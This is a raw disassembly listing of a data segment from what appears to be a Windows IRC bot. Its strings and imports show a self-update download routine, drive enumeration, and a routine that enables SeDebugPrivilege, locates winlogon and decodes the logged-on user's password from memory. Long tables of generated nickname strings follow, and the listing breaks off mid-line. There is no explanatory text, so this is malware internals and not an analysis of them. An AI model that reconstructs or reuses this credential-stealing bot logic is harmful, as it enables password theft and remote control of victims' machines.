; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h db 6Fh ; o db 70h, 65h, 6Eh db 65h ; e db 64h, 20h, 25h db 73h ; s align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 10h db 2Dh ; - db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 4 unk_43A444 db 2Dh ; - ; DATA XREF: seg000:004164F5o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_416A12:loc_416A55o ; sub_4190F2+104o aInvalid db 'Invalid',0 ; DATA XREF: sub_416A12:loc_416A4Fo aDisk db 'Disk',0 ; DATA XREF: sub_416A12:loc_416A49o align 4 aNetwork db 'Network',0 ; DATA XREF: sub_416A12:loc_416A43o aCdrom db 'Cdrom',0 ; DATA XREF: sub_416A12:loc_416A3Do align 4 off_43A494 dd offset word_4D4152 ; DATA XREF: sub_416A12:loc_416A37o word_43A498 dw 3Fh ; DATA XREF: sub_416A12+1Fo ; sub_41AC18:loc_41AD1Ar align 4 aFailed db 'failed',0 ; DATA XREF: sub_416AA3:loc_416B7Bo ; sub_416BBE+3Bo align 4 aSkb db '%sKB',0 ; DATA XREF: sub_416AA3+6Bo align 4 unk_43A4AC db 2Dh ; - ; DATA XREF: sub_416BBE+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 unk_43A4E8 db 2Dh ; - ; DATA XREF: sub_416BBE+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 aA_1 db 'A:\',0 ; DATA XREF: sub_416C90:loc_416CD5o db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h db 66h ; f db 6Fh, 75h, 6Eh db 64h ; d db 20h, 25h, 64h db 20h aFiles db 'files',0 align 4 db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 10h dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h dd 73252064h, 73255Ch, 2A5C7325h, 0 unk_43A594 db 2Dh ; - ; DATA XREF: sub_416F7D:loc_4170F6o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 unk_43A5C8 db 2Dh ; - ; DATA XREF: sub_416F7D:loc_4170C9o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 unk_43A5F4 db 2Dh ; - ; DATA XREF: sub_416F7D:loc_4170C2o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 10h unk_43A630 db 2Dh ; - ; DATA XREF: sub_416F7D+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 aUserdomain: ; DATA XREF: sub_416F7D+DCo unicode 0, <USERDOMAIN>,0 align 4 aUsername: ; DATA XREF: sub_416F7D+CEo unicode 0, <USERNAME>,0 align 4 aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F7D+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F7D+8Do align 10h aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F7D+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F7D+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F7D+68o align 4 aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_416F7D+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F7D+40o ; sub_416F7D+161o ... align 4 unk_43A768 db 2Dh ; - ; DATA XREF: sub_416F7D+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 4 aMsgina db 'MSGINA',0 ; DATA XREF: sub_41714F+13Eo align 10h aNwgina db 'NWGINA',0 ; DATA XREF: sub_41714F+123o align 4 aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_41714F+AFo align 8 dword_43A7B8 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_4175A9+70o ; sub_417640+C7o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h dword_43A808 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417640+E1o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h dd 2929h, 0 off_43A860 dd offset aQ ; DATA XREF: sub_417B38+5Cr ; "q" dd offset dword_43B408 dd offset aE ; "e" dd offset aR ; "r" dd offset aT ; "t" dd offset dword_43B404 dd offset aU ; "u" dd offset aI ; "i" dd offset aP ; "p" dd offset aA ; "a" dd offset aS_1 ; "s" dd offset aD ; "d" dd offset aF ; "f" dd offset dword_43B400 dd offset dword_43B3FC dd offset aJ ; "j" dd offset aK ; "k" dd offset dword_43B3F8 dd offset dword_43B3F4 dd offset dword_43B3F0 dd offset aC ; "c" dd offset aV ; "v" dd offset dword_43B3EC dd offset aN ; "n" dd offset aM ; "m" dd offset dword_43B3E8 dd offset dword_43B3E4 dd offset dword_43B3E0 dd offset dword_43B3DC dd offset dword_43B3D8 dd offset word_43B3D4 dd offset dword_43B3D0 dd offset aI_0 ; "I" dd offset dword_43B3CC dd offset dword_43B3C8 dd offset aA_0 ; "A" dd offset dword_43B3C4 dd offset dword_43B3C0 dd offset dword_43B3BC dd offset dword_43B3B8 dd offset dword_43B3B4 dd offset dword_43B3B0 dd offset dword_43B3AC dd offset dword_43B3A8 dd offset dword_43B3A4 dd offset dword_43B3A0 dd offset dword_43B39C dd offset dword_43B398 dd offset dword_43B394 dd offset word_43B390 dd offset aM_0 ; "M" dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary_0 ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset dword_43B128 dd offset off_43B124 dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_43AF90 dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" dd offset aPrometheus ; "prometheus" dd offset aMaveRIck ; "MaVe{R}icK" dd offset aAdamm ; "ADAMM" dd offset aCumhur29 ; "cumhur29" dd offset aWantedlove ; "WANTEDLOVE" off_43AB60 dd offset aSex ; DATA XREF: sub_417B38+41r ; sub_417B38+ECr ; "sex" dd offset aLez ; "lez" dd offset aZex ; "zex" dd offset aTree ; "tree" dd offset aBad ; "bad" dd offset aLag ; "lag" dd offset aTambe ; "|tambe|" dd offset aWoh ; "|woh|" dd offset aTot ; "-|tot|" dd offset aSuck ; "|suck|" dd offset aLuck ; "|luck|" dd offset aHub ; "{hub}" dd offset aSex_0 ; "{sex}" dd offset aGens ; "{gens|" dd offset aLuvuF ; "||luvu-f|" dd offset aWiked ; "|wiked|" dd offset aSick ; "sick}}" dd offset aQ8 ; "Q8" dd offset aQ8A ; "|q8|a" dd offset dword_43B3EC dd offset aC ; "c" dd offset aD ; "d" dd offset aE ; "e" dd offset aF ; "f" dd offset dword_43B400 dd offset dword_43B3FC dd offset aI ; "i" dd offset dword_42CBB0 dd offset aJ ; "j" dd offset aK ; "k" dd offset dword_43B3F8 dd offset aM ; "m" dd offset aN ; "n" dd offset aO ; "o" dd offset aP ; "p" dd offset aQ ; "q" dd offset aRs ; "rs" dd offset aT ; "t" dd offset aU ; "u" dd offset aV ; "v" dd offset dword_43B408 dd offset dword_43B3F0 dd offset dword_43B404 dd offset dword_43B3F4 dd offset aHappy ; "happy" dd offset aRg ; "rg" dd offset aTy ; "ty" dd offset aGf ; "gf" dd offset aRt ; "rt" dd offset aSdf ; "sdf" dd offset aUi ; "ui" dd offset aLuvy ; "luvy" dd offset aTrimy ; "trimy" dd offset aTruck ; "truck" dd offset aMuckc ; "muckc" dd offset dword_43B3F4 dd offset dword_43B400 dd offset aS_1 ; "s" dd offset aQ ; "q" dd offset off_43ADB0 dd offset aBbl ; "|bbl" dd offset dword_43FDB4 dd offset dword_43FDB4 dd offset a___0 ; "_|_" dd offset dword_43FDB4 dd offset dword_43FDB4 dd offset dword_43FDB4 dd offset dword_43FDB4 dd offset dword_43B3BC dd offset aM_0 ; "M" dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF_0 ; "^^^f^" dd offset dword_43B3EC dd offset dword_43FDB4 dd offset aSleeping ; "Sleeping" dd offset dword_43FDB4 dd offset dword_43FDB4 dd offset aFuck_0 ; "Fuck" dd offset aFree ; "Free" dd offset dword_43FDB4 dd offset dword_43FDB4 dd offset dword_43B3A0 dd offset dword_43FDB4 dd offset aBoy ; "BOY" dd offset aGirl_0 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset dword_43AD30 dd offset dword_43AD2C dd offset dword_43AD24 dd offset dword_43AD18 dd offset dword_43AD10 dd offset dword_43AD08 dd offset dword_43AD00 dd offset dword_43ACFC dd offset dword_43ACF8 dword_43ACF8 dd 7536h ; DATA XREF: seg002:0043ACF4o dword_43ACFC dd 7535h ; DATA XREF: seg002:0043ACF0o dword_43AD00 dd 7C75347Ch, 0 ; DATA XREF: seg002:0043ACECo dword_43AD08 dd 6F79347Bh, 7D75h ; DATA XREF: seg002:0043ACE8o dword_43AD10 dd 7375347Ch, 7Ch ; DATA XREF: seg002:0043ACE4o dword_43AD18 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: seg002:0043ACE0o dword_43AD24 dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: seg002:0043ACDCo dword_43AD2C dd 6C6F6Ch ; DATA XREF: seg002:0043ACD8o dword_43AD30 dd 746F74h ; DATA XREF: seg002:0043ACD4o aMofo db 'mofo',0 ; DATA XREF: seg002:0043ACD0o align 4 aMof0 db 'mof0',0 ; DATA XREF: seg002:0043ACCCo align 4 aMuha db 'muha',0 ; DATA XREF: seg002:0043ACC8o align 4 aYeah db 'yeah',0 ; DATA XREF: seg002:0043ACC4o align 4 aAha db 'aha',0 ; DATA XREF: seg002:0043ACC0o aShit db 'shit',0 ; DATA XREF: seg002:0043ACBCo align 10h aGurl db 'gurl',0 ; DATA XREF: seg002:0043ACB8o align 4 aGirl_0 db 'GIRL',0 ; DATA XREF: seg002:0043ACB4o align 10h aBoy db 'BOY',0 ; DATA XREF: seg002:0043ACB0o aFree db 'Free',0 ; DATA XREF: seg002:0043AC9Co align 4 aFuck_0 db 'Fuck',0 ; DATA XREF: seg002:0043AC98o align 4 aSleeping db 'Sleeping',0 ; DATA XREF: seg002:0043AC8Co align 10h aF_0 db '^^^f^',0 ; DATA XREF: seg002:0043AC80o align 4 aSad db 'Sad',0 ; DATA XREF: seg002:0043AC7Co aLuvu db 'LUVU',0 ; DATA XREF: seg002:0043AC78o align 4 a___0 db '_|_',0 ; DATA XREF: seg002:0043AC5Co aBbl db '|bbl',0 ; DATA XREF: seg002:0043AC50o align 10h off_43ADB0 dd offset loc_425240+2 ; DATA XREF: seg002:0043AC4Co aMuckc db 'muckc',0 ; DATA XREF: seg002:0043AC38o align 4 aTruck db 'truck',0 ; DATA XREF: seg002:0043AC34o align 4 aTrimy db 'trimy',0 ; DATA XREF: seg002:0043AC30o align 4 aLuvy db 'luvy',0 ; DATA XREF: seg002:0043AC2Co align 4 aUi db 'ui',0 ; DATA XREF: seg002:0043AC28o align 4 aSdf db 'sdf',0 ; DATA XREF: seg002:0043AC24o aRt db 'rt',0 ; DATA XREF: seg002:0043AC20o align 10h aGf db 'gf',0 ; DATA XREF: seg002:0043AC1Co align 4 aTy db 'ty',0 ; DATA XREF: seg002:0043AC18o align 4 aRg db 'rg',0 ; DATA XREF: seg002:0043AC14o align 4 aHappy db 'happy',0 ; DATA XREF: seg002:0043AC10o align 4 aRs db 'rs',0 ; DATA XREF: seg002:0043ABF0o align 4 aQ8A db '|q8|a',0 ; DATA XREF: seg002:0043ABA8o align 10h aQ8 db 'Q8',0 ; DATA XREF: seg002:0043ABA4o align 4 aSick db 'sick}}',0 ; DATA XREF: seg002:0043ABA0o align 4 aWiked db '|wiked|',0 ; DATA XREF: seg002:0043AB9Co aLuvuF db '||luvu-f|',0 ; DATA XREF: seg002:0043AB98o align 10h aGens db '{gens|',0 ; DATA XREF: seg002:0043AB94o align 4 aSex_0 db '{sex}',0 ; DATA XREF: seg002:0043AB90o align 10h aHub db '{hub}',0 ; DATA XREF: seg002:0043AB8Co align 4 aLuck db '|luck|',0 ; DATA XREF: seg002:0043AB88o align 10h aSuck db '|suck|',0 ; DATA XREF: seg002:0043AB84o align 4 aTot db '-|tot|',0 ; DATA XREF: seg002:0043AB80o align 10h aWoh db '|woh|',0 ; DATA XREF: seg002:0043AB7Co align 4 aTambe db '|tambe|',0 ; DATA XREF: seg002:0043AB78o aLag db 'lag',0 ; DATA XREF: seg002:0043AB74o aBad db 'bad',0 ; DATA XREF: seg002:0043AB70o aTree db 'tree',0 ; DATA XREF: seg002:0043AB6Co align 10h aZex db 'zex',0 ; DATA XREF: seg002:0043AB68o aLez db 'lez',0 ; DATA XREF: seg002:0043AB64o aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: seg002:0043AB5Co align 4 aCumhur29 db 'cumhur29',0 ; DATA XREF: seg002:0043AB58o align 10h aAdamm db 'ADAMM',0 ; DATA XREF: seg002:0043AB54o align 4 aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: seg002:0043AB50o align 4 aPrometheus db 'prometheus',0 ; DATA XREF: seg002:0043AB4Co align 10h aDallas43m db 'DALLAS43M',0 ; DATA XREF: seg002:0043AB48o align 4 aTeoman db 'TEOMAN```',0 ; DATA XREF: seg002:0043AB44o align 4 aRerpjj db 'RERPJJ',0 ; DATA XREF: seg002:0043AB40o align 10h aCem39 db 'cem39',0 ; DATA XREF: seg002:0043AB3Co align 4 aCool30m db 'cool30m',0 ; DATA XREF: seg002:0043AB38o aTropikal db 'tropikal',0 ; DATA XREF: seg002:0043AB34o align 4 aPassenger db 'passenger',0 ; DATA XREF: seg002:0043AB30o align 4 aNeHaber db 'NE-HABER',0 ; DATA XREF: seg002:0043AB2Co align 4 aUla db 'ula',0 ; DATA XREF: seg002:0043AB28o aIzmirlm db 'izmirlm',0 ; DATA XREF: seg002:0043AB24o aAkden db 'akden',0 ; DATA XREF: seg002:0043AB20o align 4 aKoray db 'KORAY',0 ; DATA XREF: seg002:0043AB1Co align 10h aAta29 db 'Ata29',0 ; DATA XREF: seg002:0043AB18o align 4 aFirtina db 'firtina',0 ; DATA XREF: seg002:0043AB14o aAdamm33 db 'AdAMM33',0 ; DATA XREF: seg002:0043AB10o aM41ist db 'M41IST',0 ; DATA XREF: seg002:0043AB0Co align 10h aMaxsilla db 'maxsilla',0 ; DATA XREF: seg002:0043AB08o align 4 aAdem28 db 'Adem28',0 ; DATA XREF: seg002:0043AB04o align 4 aAnkm db 'ankM',0 ; DATA XREF: seg002:0043AB00o align 4 aErkan db 'erkan',0 ; DATA XREF: seg002:0043AAFCo align 4 aDevre db 'devre',0 ; DATA XREF: seg002:0043AAF8o align 4 aYabanc db 'yabanc',0 ; DATA XREF: seg002:0043AAF4o align 4 aBirsen db 'birsen',0 ; DATA XREF: seg002:0043AAF0o align 4 aA44m db 'a44m',0 ; DATA XREF: seg002:0043AAECo align 4 aAlcatras db 'alcatras',0 ; DATA XREF: seg002:0043AAE8o align 10h off_43AF90 dd offset byte_4B5245 ; DATA XREF: seg002:0043AAE4o aSevda db 'sevda',0 ; DATA XREF: seg002:0043AAE0o align 4 aKotan db 'kotan',0 ; DATA XREF: seg002:0043AADCo align 4 aTegmen db 'TEGMEN',0 ; DATA XREF: seg002:0043AAD8o align 4 aAchilles db 'Achilles',0 ; DATA XREF: seg002:0043AAD4o align 4 aKapk db 'kapk',0 ; DATA XREF: seg002:0043AAD0o align 10h aAngelgirl db 'angelgirl',0 ; DATA XREF: seg002:0043AACCo align 4 aHayran db 'hayran',0 ; DATA XREF: seg002:0043AAC8o align 4 aFenerlee db 'FeNeRLee',0 ; DATA XREF: seg002:0043AAC4o align 10h aAnkar db 'Ankar',0 ; DATA XREF: seg002:0043AAC0o align 4 aDjspace db 'DJSPACE',0 ; DATA XREF: seg002:0043AABCo aAnk32M db 'ANK-32-M',0 ; DATA XREF: seg002:0043AAB8o align 4 aUmut db 'umut-',0 ; DATA XREF: seg002:0043AAB4o align 4 aAdalim db 'ADALIM',0 ; DATA XREF: seg002:0043AAB0o align 4 aKumul db 'kumul',0 ; DATA XREF: seg002:0043AAACo align 4 aUzgun36 db 'uzgun36',0 ; DATA XREF: seg002:0043AAA8o aSugarboy db 'SUGARBOY-',0 ; DATA XREF: seg002:0043AAA4o align 4 aSeviseli db 'SeViSeLi',0 ; DATA XREF: seg002:0043AAA0o align 4 aKashmira db 'Kashmira',0 ; DATA XREF: seg002:0043AA9Co align 10h aAykut1 db 'aykut1',0 ; DATA XREF: seg002:0043AA98o align 4 aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: seg002:0043AA94o align 4 aMahinur db 'MAHINUR',0 ; DATA XREF: seg002:0043AA90o aHoly db 'holy',0 ; DATA XREF: seg002:0043AA8Co align 4 aFlord db 'FLoRD',0 ; DATA XREF: seg002:0043AA88o align 10h aKebikec db 'kebikec',0 ; DATA XREF: seg002:0043AA84o aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: seg002:0043AA80o align 4 aElmaazyok db 'elmaazyok',0 ; DATA XREF: seg002:0043AA7Co align 10h aEmre db 'Emre--',0 ; DATA XREF: seg002:0043AA78o align 4 aRamtha db 'RAMTHA',0 ; DATA XREF: seg002:0043AA74o align 10h aImirzali db 'IMIRZALI--',0 ; DATA XREF: seg002:0043AA70o align 4 aHakan3 db 'hakan3',0 ; DATA XREF: seg002:0043AA6Co align 4 aMurat34M db 'murat34-m',0 ; DATA XREF: seg002:0043AA68o align 10h aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: seg002:0043AA64o aArda db 'arda',0 ; DATA XREF: seg002:0043AA60o align 4 aDevran db 'devran',0 ; DATA XREF: seg002:0043AA5Co align 4 aBerk19m db 'Berk19m',0 ; DATA XREF: seg002:0043AA58o aDenizlim db 'DenizliM',0 ; DATA XREF: seg002:0043AA54o align 10h aCongueror db 'CoNGuERoR',0 ; DATA XREF: seg002:0043AA50o align 4 aAlpay34m db 'alpay34m',0 ; DATA XREF: seg002:0043AA4Co align 4 aBogac db 'bogac',0 ; DATA XREF: seg002:0043AA48o align 10h aDonjuanm db 'Donjuanm',0 ; DATA XREF: seg002:0043AA44o align 4 aAnkh db 'ankh',0 ; DATA XREF: seg002:0043AA40o align 4 off_43B124 dd offset byte_457441 ; DATA XREF: seg002:0043AA3Co dword_43B128 dd 414C5941h, 2Dh ; DATA XREF: seg002:0043AA38o aAlbina db 'albina',0 ; DATA XREF: seg002:0043AA34o align 4 aIzmir39m db 'Izmir39m',0 ; DATA XREF: seg002:0043AA30o align 4 aZack db 'ZACK',0 ; DATA XREF: seg002:0043AA2Co align 4 aAnk32m db 'ank32m',0 ; DATA XREF: seg002:0043AA28o align 4 aTurkyy db 'turkyy',0 ; DATA XREF: seg002:0043AA24o align 4 aAhmet db 'ahmet',0 ; DATA XREF: seg002:0043AA20o align 4 aPelincik db 'pelincik',0 ; DATA XREF: seg002:0043AA1Co align 10h aBlackpearl db 'blackpearl',0 ; DATA XREF: seg002:0043AA18o align 4 aRetg db 'RETG',0 ; DATA XREF: seg002:0043AA14o align 4 aSamyeli21 db 'samyeli21',0 ; DATA XREF: seg002:0043AA10o align 10h aPiramit db 'PIRAMIT',0 ; DATA XREF: seg002:0043AA0Co aAslii db 'aslii',0 ; DATA XREF: seg002:0043AA08o align 10h aErnesto db 'ERNESTO',0 ; DATA XREF: seg002:0043AA04o aHaticem db 'haticem',0 ; DATA XREF: seg002:0043AA00o aArzu db 'ARZU',0 ; DATA XREF: seg002:0043A9FCo align 4 aSudenur db 'SUDENUR',0 ; DATA XREF: seg002:0043A9F8o aSevmekmi db 'sevmekmi',0 ; DATA XREF: seg002:0043A9F4o align 4 aVenedik34 db 'venedik34',0 ; DATA XREF: seg002:0043A9F0o align 4 aTekir db 'tekir',0 ; DATA XREF: seg002:0043A9ECo align 10h aMERVE db 'M-E-R-V-E',0 ; DATA XREF: seg002:0043A9E8o align 4 aTrend3 db 'trend3',0 ; DATA XREF: seg002:0043A9E4o align 4 aMelekk db 'melekk',0 ; DATA XREF: seg002:0043A9E0o align 4 aAkin db 'AKIN',0 ; DATA XREF: seg002:0043A9DCo align 4 aMary_0 db 'MARY',0 ; DATA XREF: seg002:0043A9D8o align 4 aJericho db 'JERICHO',0 ; DATA XREF: seg002:0043A9D4o aTolga34 db 'Tolga34',0 ; DATA XREF: seg002:0043A9D0o aMisssunday db 'misssunday',0 ; DATA XREF: seg002:0043A9CCo align 4 aIrmal db 'irmal',0 ; DATA XREF: seg002:0043A9C8o align 10h aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: seg002:0043A9C4o align 10h aBerk19 db 'berk19',0 ; DATA XREF: seg002:0043A9C0o align 4 aHexaaa db 'hexaaa',0 ; DATA XREF: seg002:0043A9BCo align 10h aErkan27 db 'erkan27',0 ; DATA XREF: seg002:0043A9B8o aKaan38dent db 'kaan38dent',0 ; DATA XREF: seg002:0043A9B4o align 4 aCansuuuu db 'cansuuuu',0 ; DATA XREF: seg002:0043A9B0o align 10h aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: seg002:0043A9ACo align 4 aKencing db 'Kencing',0 ; DATA XREF: seg002:0043A9A8o aReshma db 'reshma',0 ; DATA XREF: seg002:0043A9A4o align 4 aCamel db 'CAMEL',0 ; DATA XREF: seg002:0043A9A0o align 4 aGirl db 'GirL',0 ; DATA XREF: seg002:0043A99Co align 4 aImra db 'imra',0 ; DATA XREF: seg002:0043A998o align 4 aCoredump db 'CoreDump',0 ; DATA XREF: seg002:0043A994o align 10h aPuregold db 'puregold',0 ; DATA 